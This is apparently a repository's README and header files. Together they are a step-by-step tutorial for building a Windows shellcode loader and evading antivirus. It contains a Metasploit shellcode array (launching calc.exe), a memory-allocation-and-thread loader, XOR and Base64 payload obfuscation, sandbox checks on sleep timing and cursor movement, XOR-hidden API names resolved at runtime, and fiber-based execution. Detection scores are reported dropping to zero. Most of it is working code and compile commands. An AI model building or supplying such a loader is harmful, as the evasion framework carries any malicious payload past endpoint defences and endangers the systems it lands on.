38 | This will be our base from where we start. The raw, untampered shellcode is placed in `scripts/obfuscator.py`. The python file describes a class `Obfuscator` which takes our shell code and obfuscates it to various levels which is used as the payload in `implant.cpp`
39 |
40 | Next up, we need to set up our development environment. For this, we need to install [Visual Studio's C/C++ Development Tools](https://visualstudio.microsoft.com/vs/features/cplusplus/).
41 |
42 | Once that is done, we can bring up any IDE of our choice and jump straight to coding. However, if you are using Visual Studio Code, I highly recommend having `x64 Native Tools Command Prompt` as your default. One way of doing is to add the full path to `VsDevCmd.bat` to VS Code's `settings.json` file as such:
43 |
44 | ```json
45 | {
46 |
47 | "workbench.colorTheme": "Default Dark+",
48 | "terminal.integrated.shell.windows": "cmd.exe",
49 | "terminal.integrated.shellArgs.windows": [
50 | "/k", "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat", "x64"
51 | ],
52 | "terminal.integrated.automationShell.windows": null,
53 | "explorer.confirmDelete": false,
54 | }
55 | ```
56 |
57 | ## Level 0 - The Raw Shell Code
58 |
59 | To begin with, we write a program to execute our shell code with the help of a program as such:
60 |
61 | ```cpp
62 | /// Compile With:
63 | /// cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:executables\level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
64 | #include
65 | #include
66 | #include
67 | #include
68 |
69 |
70 | // Payload String - Level0
71 | unsigned char payload[] = {
72 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
73 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
74 | 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
75 | 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
76 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
77 | 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
78 | 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
79 | 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
80 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
81 | 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
82 | 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
83 | 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
84 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
85 | 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
86 | 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
87 | 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
88 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
89 | 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
90 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
91 | 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
92 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
93 | 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
94 | 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
95 | };
96 |
97 | // Length of payload array
98 | unsigned int payload_len = (unsigned int)(sizeof(payload)/sizeof(payload[0]));
99 |
100 |
101 | /// Main Function
102 | ///
103 | /// Returns
104 | /// 0 - OK
105 | /// -1 - VirtualAlloc() failed
106 | /// -2 - VirtualProtect() failed
107 | /// -3 - CreateThread() failed
108 | /// -4 - WaitForSingleObject() failed
109 | int main(void){
110 | BOOL rv;
111 | HANDLE th;
112 | DWORD _event = 0;
113 | void * exec_mem;
114 | DWORD oldprotect = 0;
115 |
116 | // Allocate a memory buffer for payload
117 | exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
118 | if (exec_mem == NULL){
119 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError());
120 | return -1;
121 | }
122 |
123 | // Copy payload to new buffer
124 | RtlMoveMemory(exec_mem, payload, payload_len);
125 |
126 | // Make new buffer as executable
127 | rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
128 | if ( rv == 0 ) {
129 | // fprintf(stderr, "VirtualProtect Failed with error code: %d\n", GetLastError());
130 | return -2;
131 | }
132 |
133 | // Create Thread To run shellcode
134 | th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
135 | if (th == NULL){
136 | // fprintf(stderr, "CreateThread Failed with error code: %d\n", GetLastError());
137 | return -3;
138 | }
139 |
140 | _event = WaitForSingleObject(th, -1);
141 | if(_event == WAIT_FAILED){
142 | // fprintf(stderr, "WaitForSingleObject Failed with error code: %d\n", GetLastError());
143 | return -4;
144 | }
145 |
146 | return 0;
147 | }
148 | ```
149 |
150 | The program basically takes the payload generated by Metasploit, creates a memory region with **Read** and **Write** permissions to hold the same, followed by changing the permissions of the region to **Read** and **Execute** before finally creating a thread to execute it.
151 |
152 | The above program can be compiled with:
153 | ```bash
154 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x6
155 | ```
156 |
157 | This should create a `level0.exe` executable file in the current directory which, when run, pops up the `calc.exe` program.
158 |
159 | ### Antiscan Analysis
160 | We see that most AV engines flag the binary and rightfully so because it barely contains any obfuscation and Metasploit payloads have well-defined signatures at this point.
161 |
162 | [**Antiscan Score: 13/26**](https://antiscan.me/scan/new/result?id=0HTHHCYEJBjq)
163 |
164 | 
165 |
166 | ## Level 1 - XOR it!
167 |
168 | The next thing we do is try to try be a little sneaky and encrypt the payload using the simplest encryption technique out there: XOR'ing it.
169 |
170 | With our payload from Level0, any dumb stupid AV engine can just run a simple signature check or even use something like the `strings` command to know that the executable hence produced is major sus. [It would be kinda worrying if it didn't flag this simple thing]
171 |
172 | Now coming back to XOR, we would first need a key to encrypt stuff with. For this, I chose a string which was already present in the Level0 executable so as to not arouse any suspicion.
173 |
174 | We can then obtain the encrypted string from our `obfuscator.py` script using `Obsfucator.level1()`. As for the executable code, just for the sake of readibilty we add a header file `headers/obfuscators.h` which contains the `XOR` function:
175 |
176 | ```c
177 | #include
178 | #include
179 | #include
180 |
181 | // XOR two strings
182 | void XOR(unsigned char * payload, unsigned int payload_len, const char * xor_key, unsigned int xor_key_len){
183 | int j;
184 |
185 | j = 0;
186 | for (int i = 0; i < payload_len; i++) {
187 | if (j == xor_key_len) j = 0;
188 |
189 | payload[i] = payload[i] ^ xor_key[j];
190 | j++;
191 | }
192 | }
193 |
194 | ```
195 |
196 | And then, we call the `XOR()` function right before copying the payload to the target memory address.
197 |
198 | ```c
199 | ...
200 | ...
201 | XOR(payload, payload_len, XOR_KEY, xor_key_len);
202 |
203 | // Copy payload to new buffer
204 | RtlMoveMemory(exec_mem, payload, payload_len);
205 | ...
206 | ...
207 | ```
208 |
209 | Finally, we compile it with:
210 |
211 | ```
212 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
213 | ```
214 |
215 | ### Antiscan Analysis
216 |
217 | The encryprion does bring down the detection rates a bittle but still, there are ways to go :)
218 |
219 | [**Antiscan Score: 9/26**](https://antiscan.me/scan/new/result?id=6huOmULlMd25)
220 |
221 | 
222 |
223 | ## Level 2 - Sleep Patching Sandbox
224 |
225 | Taking a short detour from the usual from playing with the shell code, we try and implement some sandbox detection techiniques, starting off with ***"Sleep Patching Sandboxes"***. Accoring to [ICASA](www.isaca.org):
226 |
227 | > “Sleep Patching Sandboxes will patch the sleep function to try to outmaneuver malware that uses time delays. In response, malware will check to see if time was accelerated. Malware will get the timestamp, go to sleep and then again get the timestamp when it wakes up. The time difference between the timestamps should be the same duration as the amount of time the malware was programmed to sleep. If not, then the malware knows it is running in an environment that is patching the sleep function, which would only happen in a sandbox.”
228 |
229 | Thus to bypass this, we implement the following function in `sandbox.h` to check for accelerated time:
230 |
231 | ```c
232 | /// User defined PPDs
233 | #define L_INTERVAL 950 // Lower Time Limit
234 | #define INTERVAL 1000 // Mean Time Limit
235 | #define U_INTERVAL 1050 // Upper Time Limit
236 |
237 | int __check_sleep_patch(){
238 | DWORD startCount = GetTickCount();
239 | Sleep(INTERVAL);
240 | DWORD endCount = GetTickCount();
241 |
242 | DWORD timeSpan = endCount - startCount;
243 | if ((L_INTERVAL > timeSpan) && (timeSpan > U_INTERVAL)){
244 | return -1;
245 | }
246 |
247 | return 0;
248 | }
249 | ```
250 |
251 | Thus if the sandbox is accelerating time, then the `timeSpan` value wouldn't be in the range `L_INTERVAL` and `U_INTERVAL`, hence signifying that the program is running in a sandbox, thereby prompting the program to exit without executing any shellcode in order to avoid detection.
252 |
253 | The program is compiled with:
254 | ```c
255 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\level2.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
256 | ```
257 |
258 | ### Antiscan Analysis
259 |
260 | Okay, so this did not help much with the detection rates, rather it increased the detection rate. However, we will give it the benefit of doubt and assume that there are some false positives. Another possible explanation might be the fact that some AV engines are flagging the signature for the function. Nevertheless, we keep it in our program and try to optimize it in the future.
261 |
262 | [**Antiscan Score: 11/26**](https://antiscan.me/scan/new/result?id=qG7jq02xPNF9)
263 |
264 | 
265 |
266 | ## Level 3 - Where is the cursor?
267 |
268 | Again, instead of tampering with the shellcode itself, we are employing some more sandbox detection techniques. This time, we are monitoring for User Input, which in this case, is the cursor movement as such:
269 | ```c
270 | int __check_cursor_activity(){
271 | int __infinity_loop = 0;
272 | POINT p1, p2;
273 | BOOL res1, res2;
274 | HDESK desktop_handle;
275 |
276 | // Switch to input desktop if different from current one
277 | desktop_handle = OpenInputDesktop(0, TRUE, GENERIC_READ);
278 | SetThreadDesktop(desktop_handle);
279 |
280 |
281 | // The GetCurorPos() can fail at times so just retry it 5 times and
282 | // if it still fails, then exit out with an error code
283 | while(1){
284 | res1 = GetCursorPos(&p1);
285 | if (res1) break;
286 | Sleep(INTERVAL);
287 | __infinity_loop += 1;
288 | if (__infinity_loop == 5) return FALSE;
289 | }
290 | __infinity_loop = 0;
291 | Sleep(INTERVAL*10);
292 |
293 | while(1){
294 | res2 = GetCursorPos(&p2);
295 | if (res2) break;
296 | Sleep(INTERVAL);
297 | __infinity_loop += 1;
298 | if (__infinity_loop == 5) return FALSE;
299 | }
300 |
301 | if (res1 && res2){
302 | if (p1.x==p2.x || p1.y == p2.y || ((p1.x-p2.x)==(p1.y-p2.y))){
303 | return FALSE;
304 | }
305 | else {
306 | return TRUE;
307 | }
308 | }
309 | else{
310 | return FALSE;
311 | }
312 |
313 | }
314 |
315 | ```
316 |
317 | We are keeping a track of the Cursor position. If the cursor doesn't move for a while then we exit out of the program without running any of that suspicious shell code.
318 |
319 |
320 | ### Antiscan Analysis
321 |
322 | This seemed to have drastically bring down the detection scores. Thats's a huge improvement considering the barely tampered with payload.
323 |
324 | [**Antiscan Score: 8/26**](https://antiscan.me/scan/new/result?id=iyKaH5ChMD18)
325 |
326 | 
327 |
328 |
329 | ## Level 4 - Going Bases
330 |
331 | Next up, we try to encode our payload using the good ol' **Base64** encoding technique to mask our payload a tad bit more. We generate the Base64 encoded payload using `Obfuscator.level2()` which does everything upto `Obfuscator.level1()` plus base64 encodes the whole thing. This is just one step out many more which we can employ to add an extra layer of obfuscation to our payload
332 |
333 | ### Antiscan Analysis
334 |
335 | This doesn't really have such an adverse effect on the detection rates. However, any obfuscation is a plus in the end.
336 |
337 | [**Antiscan Score: 6/26**](https://antiscan.me/scan/new/result?id=YkOZYbkCWBnr)
338 |
339 | 
340 |
341 | ## Level 5 - Where did the functions go?
342 |
343 | One of the methods AV engines flag malicious programs is by looking at the various functions they call at runtime as well as by using methods like `string` analysis. So what if we could just do away with that? We achieve this using two methods:
344 |
345 | - By replacing our easy-to-read function names with more sinister(i.e, random) ones. The `translate.txt` file corelates the original functions with the translated ones
346 | - As for native windows functions, instead of directly calling them, we first obtain the handle to the corresponding system DLL and use the `GetProcAddress()` function to retrieve the address of the corresponding function. To add to the obfuscation, we also XOR the string arguments passed to the function so as to not leave any trace behind. For example, we obfuscate `VirtualAlloc()` as such:
347 | ```c
348 | /// In definitions.h
349 | // The function signature
350 | LPVOID (WINAPI * _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
351 | ....
352 | // Typedef
353 | typedef LPVOID (__stdcall * __type_virtualalloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
354 | ....
355 | // XOR Encrypted function name
356 | unsigned char __virtualalloc[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x09, 0x25, 0x26, 0x24, 0x2f, 0x00 };
357 | .....
358 | ```
359 | ```c
360 | /// In obfuscators.h
361 | // Decrypting XOR'd function name
362 | boUpJkYnxh29(__virtualalloc);
363 | // Getting handle to the function and appropriately typecasting it
364 | _VirtualAlloc = (__type_virtualalloc)GetProcAddress(_kernel32, (LPCSTR)__virtualalloc);
365 | // Manage Error
366 | if (_VirtualAlloc == NULL){
367 | // fprintf(stderr, "Could not find VirtualAlloc in kernel32.dll\n");
368 | return -10;
369 | }
370 | ```
371 | ```c
372 | /// In implant.cpp
373 | // Allocate a memory buffer for payload using new function
374 | exec_mem = _VirtualAlloc(0, decoded_data_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
375 | if (exec_mem == NULL){
376 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError());
377 | return -1;
378 | }
379 | ```
380 |
381 | Once compiled, we can run `strings` from SysInternals to actually examine the resulting binary and notice that all the system function names previously being reflected in the output of the command are now gone.
382 |
383 | ### Antiscan Analysis
384 |
385 | Adopting this, the analysis seems to be further lowered, bringing us even closer to zero detection
386 |
387 | [**Antiscan Score: 1/26**](https://antiscan.me/scan/new/result?id=M2xQpE6PZckd)
388 |
389 | 
390 |
391 | ## Level 6 - Get your Fibers in!
392 |
393 | Finally, we try alternative methods to execute shell code using [Fibers](https://docs.microsoft.com/en-us/windows/win32/procthread/fibers), which is the minimal execution unit of a modern operating system. We convert the main thread running the program into a `Fiber` amd then create a new one from it and switch to the context of the newly created Fiber, much like what we used to do with threads.
394 |
395 | ```c
396 | /// In `implant.cpp`
397 | ....
398 | // Convert main Thread to fiber
399 | th = _ConvertThreadToFiber(NULL);
400 | if(th == NULL){
401 | // fprintf(stderr, "ConvertThreadToFiber failed!\n");
402 | return -3;
403 | }
404 | ....
405 | fiber = _CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL);
406 | if (fiber == NULL){
407 | // fprintf(stderr, "CreateFiber Failed with error code: %d\n", GetLastError());
408 | return -4;
409 | }
410 |
411 | _SwitchToFiber(fiber);
412 | ....
413 | ```
414 |
415 | Compiling with the usual intructions gives us our final executable.
416 |
417 | ### Antiscan Analysis
418 |
419 | This seems to do wonders as it brings the detection rates to zero(atleast at the time of writing this) and I guess we can say that we now have an undetectable sus-looking-program running our shellcode.
420 |
421 | [**Antiscan Score: 0/26**](https://antiscan.me/scan/new/result?id=QEqWv42rdLiY)
422 |
423 | 
424 |
--------------------------------------------------------------------------------
/headers/definitons.h:
--------------------------------------------------------------------------------
1 | /// This files contains all relevant definitions, PPDs and Globals
2 | #include
3 | #pragma once
4 |
5 | /// User defined PPDs
6 | #define L_INTERVAL 950 // Lower Time Limit
7 | #define INTERVAL 1000 // Mean Time Limit
8 | #define U_INTERVAL 1050 // Upper Time Limit
9 |
10 | /// Globals
11 | // Handles to DLLs
12 | HMODULE _kernel32, _user32, _crypt32;
13 | // XOR Payload key
14 | const char XOR_KEY[] = "abcdefghijklmnopqrstuvwxyz";
15 | // Length of XOR key
16 | unsigned int xor_key_len = (int)(sizeof(XOR_KEY)/sizeof(XOR_KEY[0]))-1;
17 | // XOR Function Key
18 | const char XOR_FUNC_KEY[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
19 | // Length of XOR Func key
20 | unsigned int xor_func_key_len = (int)(sizeof(XOR_KEY)/sizeof(XOR_KEY[0]))-1;
21 |
22 | /// WinAPI function signatures
23 | BOOL (WINAPI * _GetTickCount)();
24 | void (WINAPI * _Sleep)(DWORD dwMilliseconds);
25 | HDESK (WINAPI * _OpenInputDesktop)(DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess);
26 | BOOL (WINAPI * _SetThreadDesktop)(HDESK hDesktop);
27 | BOOL (WINAPI * _GetCursorPos)(LPPOINT lpPoint);
28 | BOOL (WINAPI * _CryptStringToBinaryA)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
29 | LPVOID (WINAPI * _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
30 | BOOL (WINAPI * _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
31 | LPVOID (WINAPI * _ConvertThreadToFiber)(LPVOID lpParameter);
32 | LPVOID (WINAPI * _CreateFiber)(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);
33 | void (WINAPI * _SwitchToFiber)(LPVOID lpFiber);
34 |
35 |
36 | /// Typedefs
37 | typedef BOOL (__stdcall * __type_gettickcount)();
38 | typedef void (__stdcall * __type_sleep)(DWORD dwMilliseconds);
39 | typedef HDESK (__stdcall * __type_openinputdesktop)(DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess);
40 | typedef BOOL (__stdcall * __type_setthreaddesktop)(HDESK hDesktop);
41 | typedef BOOL (__stdcall * __type_getcursorpos)(LPPOINT lpPoint);
42 | typedef BOOL (__stdcall * __type_cryptstringtobinarya)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
43 | typedef LPVOID (__stdcall * __type_virtualalloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
44 | typedef BOOL (__stdcall * __type_virtualprotect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
45 | typedef LPVOID (__stdcall * __type_convertthreadtofiber)(LPVOID lpParameter);
46 | typedef LPVOID (__stdcall * __type_createfiber)(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);
47 | typedef void (__stdcall * __type_switchtofiber)(LPVOID lpFiber);
48 |
49 |
50 | /// Encrypted WinAPI function names
51 | /// Use xor_func_name() function from `scripts/obfuscator.py`
52 | unsigned char __gettickcount[] = {0x06, 0x27, 0x37, 0x10, 0x2c, 0x25, 0x2c, 0x0b, 0x26, 0x3f, 0x25, 0x38, 0x0};
53 | unsigned char __sleep[] = {0x12, 0x2e, 0x26, 0x21, 0x35, 0x00};
54 | unsigned char __openinputdesktop[] = {0x0e, 0x32, 0x26, 0x2a, 0x0c, 0x28, 0x37, 0x3d, 0x3d, 0x0e, 0x2e, 0x3f, 0x26, 0x3a, 0x20, 0x20, 0x00};
55 | unsigned char __setthreaddesktop[] = {0x12, 0x27, 0x37, 0x10, 0x2d, 0x34, 0x22, 0x29, 0x2d, 0x0e, 0x2e, 0x3f, 0x26, 0x3a, 0x20, 0x20, 0x00};
56 | unsigned char __getcursorpos[] = {0x06, 0x27, 0x37, 0x07, 0x30, 0x34, 0x34, 0x27, 0x3b, 0x1a, 0x24, 0x3f, 0x00 };
57 | unsigned char __cryptstringtobinarya[] = {0x02, 0x30, 0x3a, 0x34, 0x31, 0x15, 0x33, 0x3a, 0x20, 0x24, 0x2c, 0x18, 0x22, 0x0c, 0x26, 0x3e, 0x30, 0x20, 0x2a, 0x15, 0x00 };
58 | unsigned char __virtualalloc[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x09, 0x25, 0x26, 0x24, 0x2f, 0x00 };
59 | unsigned char __virtualprotect[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x18, 0x3b, 0x25, 0x3f, 0x29, 0x2e, 0x3a, 0x00 };
60 | unsigned char __convertthreadtofiber[] = {0x02, 0x2d, 0x2d, 0x32, 0x20, 0x34, 0x33, 0x1c, 0x21, 0x38, 0x2e, 0x2d, 0x29, 0x1a, 0x20, 0x16, 0x38, 0x30, 0x36, 0x26, 0x00 };
61 | unsigned char __createfiber[] = {0x02, 0x30, 0x26, 0x25, 0x31, 0x23, 0x01, 0x21, 0x2b, 0x2f, 0x39, 0x00 };
62 | unsigned char __switchtofiber[] = {0x12, 0x35, 0x2a, 0x30, 0x26, 0x2e, 0x13, 0x27, 0x0f, 0x23, 0x29, 0x29, 0x3f, 0x00 };
--------------------------------------------------------------------------------
/headers/obfuscators.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "definitons.h"
7 |
8 | #pragma comment (lib, "User32.lib")
9 | #pragma once
10 |
11 | /// XOR two strings
12 | void LCzOatFaVf71(unsigned char * payload, unsigned int payload_len, const char * xor_key, unsigned int xor_key_len){
13 | int j;
14 | j = 0;
15 | for (int i = 0; i < payload_len; i++) {
16 | if (j == xor_key_len) j = 0;
17 | payload[i] = payload[i] ^ xor_key[j];
18 | j++;
19 | }
20 | }
21 |
22 |
23 | /// Decrypt function names
24 | void boUpJkYnxh29(unsigned char * enc_func_name){
25 | unsigned int enc_len = (int)strlen((const char *)enc_func_name);
26 | LCzOatFaVf71(enc_func_name, enc_len, XOR_FUNC_KEY, xor_func_key_len);
27 | }
28 |
29 | /// Populate WinAPI functions
30 | ///
31 | /// Return Values
32 | /// 0 - OK
33 | /// -1 - Could not find kernel32.dll
34 | /// -2 - Could not find user32.dll
35 | /// -3 - Could not find crypt32.dll
36 | /// -4 - Could not find GetTickCount in kernel32.dll
37 | /// -5 - Could not find Sleep in kernel32.dll
38 | /// -6 - Could not find OpenInputDesktop in user32.dll
39 | /// -7 - Could not find SetThreadDesktop in user32.dll
40 | /// -8 - Could not find GetCursorPos in user32.dll
41 | /// -9 - Could not find CryptStringToBinaryA in crypt32.dll
42 | /// -10 - Could not find VirtualAlloc in kernel32.dll
43 | /// -11 - Could not find VirtualProtect in kernel32.dll
44 | /// -12 - Could not find ConvertThreadToFiber in kernel32.dll
45 | /// -13 - Could not find CreateFiber in kernel32.dll
46 | /// -14 - Could not find SwitchToFiber in kernel32.dll
47 | int __get_funcs(){
48 | _kernel32 = LoadLibrary((LPCWSTR)"kernel32.dll");
49 | if (_kernel32 == NULL){
50 | // fprintf(stderr, "Could not find kernel32.dll\n");
51 | return -1;
52 | }
53 |
54 | _user32 = LoadLibrary((LPCWSTR)"user32.dll");
55 | if(_user32 == NULL){
56 | // fprintf(stderr, "Could not find user32.dll\n");
57 | return -2;
58 | }
59 |
60 | _crypt32 = LoadLibrary((LPCWSTR)"crypt32.dll");
61 | if(_crypt32 == NULL){
62 | // fprintf(stderr, "Could not find crypt32.dll\n");
63 | return -3;
64 | }
65 |
66 | // Decrypt the XOR'd Function name and get it's address
67 | boUpJkYnxh29(__gettickcount);
68 | _GetTickCount = (__type_gettickcount)GetProcAddress(_kernel32, (LPCSTR)__gettickcount);
69 | if (_GetTickCount == NULL){
70 | // fprintf(stderr, "Could not find GetTickCount in kernel32.dll\n");
71 | return -4;
72 | }
73 |
74 | boUpJkYnxh29(__sleep);
75 | _Sleep = (__type_sleep)GetProcAddress(_kernel32, (LPCSTR)__sleep);
76 | if (_Sleep == NULL){
77 | // fprintf(stderr, "Could not find Sleep in kernel32.dll\n");
78 | return -5;
79 | }
80 |
81 | boUpJkYnxh29(__openinputdesktop);
82 | _OpenInputDesktop = (__type_openinputdesktop)GetProcAddress(_user32, (LPCSTR)__openinputdesktop);
83 | if (_OpenInputDesktop == NULL){
84 | // fprintf(stderr, "Could not find OpenInputDesktop in user32.dll\n");
85 | return -6;
86 | }
87 |
88 | boUpJkYnxh29(__setthreaddesktop);
89 | _SetThreadDesktop = (__type_setthreaddesktop)GetProcAddress(_user32, (LPCSTR)__setthreaddesktop);
90 | if (_SetThreadDesktop == NULL){
91 | // fprintf(stderr, "Could not find SetThreadDesktop in user32.dll\n");
92 | return -7;
93 | }
94 |
95 | boUpJkYnxh29(__getcursorpos);
96 | _GetCursorPos = (__type_getcursorpos)GetProcAddress(_user32, (LPCSTR)__getcursorpos);
97 | if (_GetCursorPos == NULL){
98 | // fprintf(stderr, "Could not find GetCursorPos in user32.dll\n");
99 | return -8;
100 | }
101 |
102 | boUpJkYnxh29(__cryptstringtobinarya);
103 | _CryptStringToBinaryA = (__type_cryptstringtobinarya)GetProcAddress(_crypt32, (LPCSTR)__cryptstringtobinarya);
104 | if (_CryptStringToBinaryA == NULL){
105 | // fprintf(stderr, "Could not find CryptStringToBinaryA in crypt32.dll\n");
106 | return -9;
107 | }
108 |
109 | boUpJkYnxh29(__virtualalloc);
110 | _VirtualAlloc = (__type_virtualalloc)GetProcAddress(_kernel32, (LPCSTR)__virtualalloc);
111 | if (_VirtualAlloc == NULL){
112 | // fprintf(stderr, "Could not find VirtualAlloc in kernel32.dll\n");
113 | return -10;
114 | }
115 |
116 | boUpJkYnxh29(__virtualprotect);
117 | _VirtualProtect = (__type_virtualprotect)GetProcAddress(_kernel32, (LPCSTR)__virtualprotect);
118 | if (_VirtualProtect == NULL){
119 | // fprintf(stderr, "Could not find VirtualProtect in kernel32.dll\n");
120 | return -11;
121 | }
122 |
123 | boUpJkYnxh29(__convertthreadtofiber);
124 | _ConvertThreadToFiber = (__type_convertthreadtofiber)GetProcAddress(_kernel32, (LPCSTR)__convertthreadtofiber);
125 | if(_ConvertThreadToFiber == NULL){
126 | // fprintf(stderr, "Could not find ConvertThreadToFiber in kernel32.dll\n");
127 | return -12;
128 | }
129 |
130 | boUpJkYnxh29(__createfiber);
131 | _CreateFiber = (__type_createfiber)GetProcAddress(_kernel32, (LPCSTR)__createfiber);
132 | if(_CreateFiber == NULL){
133 | // fprintf(stderr, "Could not find CreateFiber in kernel32.dll\n");
134 | return -13;
135 | }
136 |
137 | boUpJkYnxh29(__switchtofiber);
138 | _SwitchToFiber = (__type_switchtofiber)GetProcAddress(_kernel32, (LPCSTR)__switchtofiber);
139 | if(_SwitchToFiber == NULL){
140 | // fprintf(stderr, "Could not find SwitchToFiber in kernel32.dll\n");
141 | return -14;
142 | }
143 |
144 | return 0;
145 | }
146 |
147 | // Print the contents of an address in hex
148 | // Used for debugging purposes only
149 | //
150 | // void print_hex(unsigned char *payload, unsigned int payload_len){
151 | // int i;
152 | //
153 | // printf("{");
154 | // for (i=0; i
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "obfuscators.h"
7 |
8 | #pragma comment (lib, "User32.lib")
9 |
10 |
11 | /// Check for Sleep patching by accelrated time
12 | ///
13 | /// Returns
14 | /// TRUE - No Sleep Patching
15 | /// FALSE - Sleep patching
16 | BOOL QYyuqVKHPv54(){
17 | DWORD startCount = _GetTickCount();
18 | _Sleep(INTERVAL);
19 | DWORD endCount = _GetTickCount();
20 |
21 | DWORD timeSpan = endCount - startCount;
22 | if ((L_INTERVAL > timeSpan) && (timeSpan > U_INTERVAL)){
23 | return FALSE;
24 | }
25 |
26 | return TRUE;
27 | }
28 |
29 |
30 | /// Check for user activity
31 | ///
32 | /// Returns
33 | /// TRUE - If user activity is detected via mouse movement
34 | /// FALSE - If no mouse movement is observed
35 | int CSipwtXlcS51(){
36 | int __infinity_loop = 0;
37 | POINT p1, p2;
38 | BOOL res1, res2;
39 | HDESK desktop_handle;
40 |
41 | // Switch to input desktop if different from current one
42 | desktop_handle = _OpenInputDesktop(0, TRUE, GENERIC_READ);
43 | _SetThreadDesktop(desktop_handle);
44 |
45 | // The GetCurorPos() can fail at times so just retry it 5 times and
46 | // if it still fails, then exit out with an error code
47 | while(1){
48 | res1 = _GetCursorPos(&p1);
49 | if (res1) break;
50 | _Sleep(INTERVAL);
51 | __infinity_loop += 1;
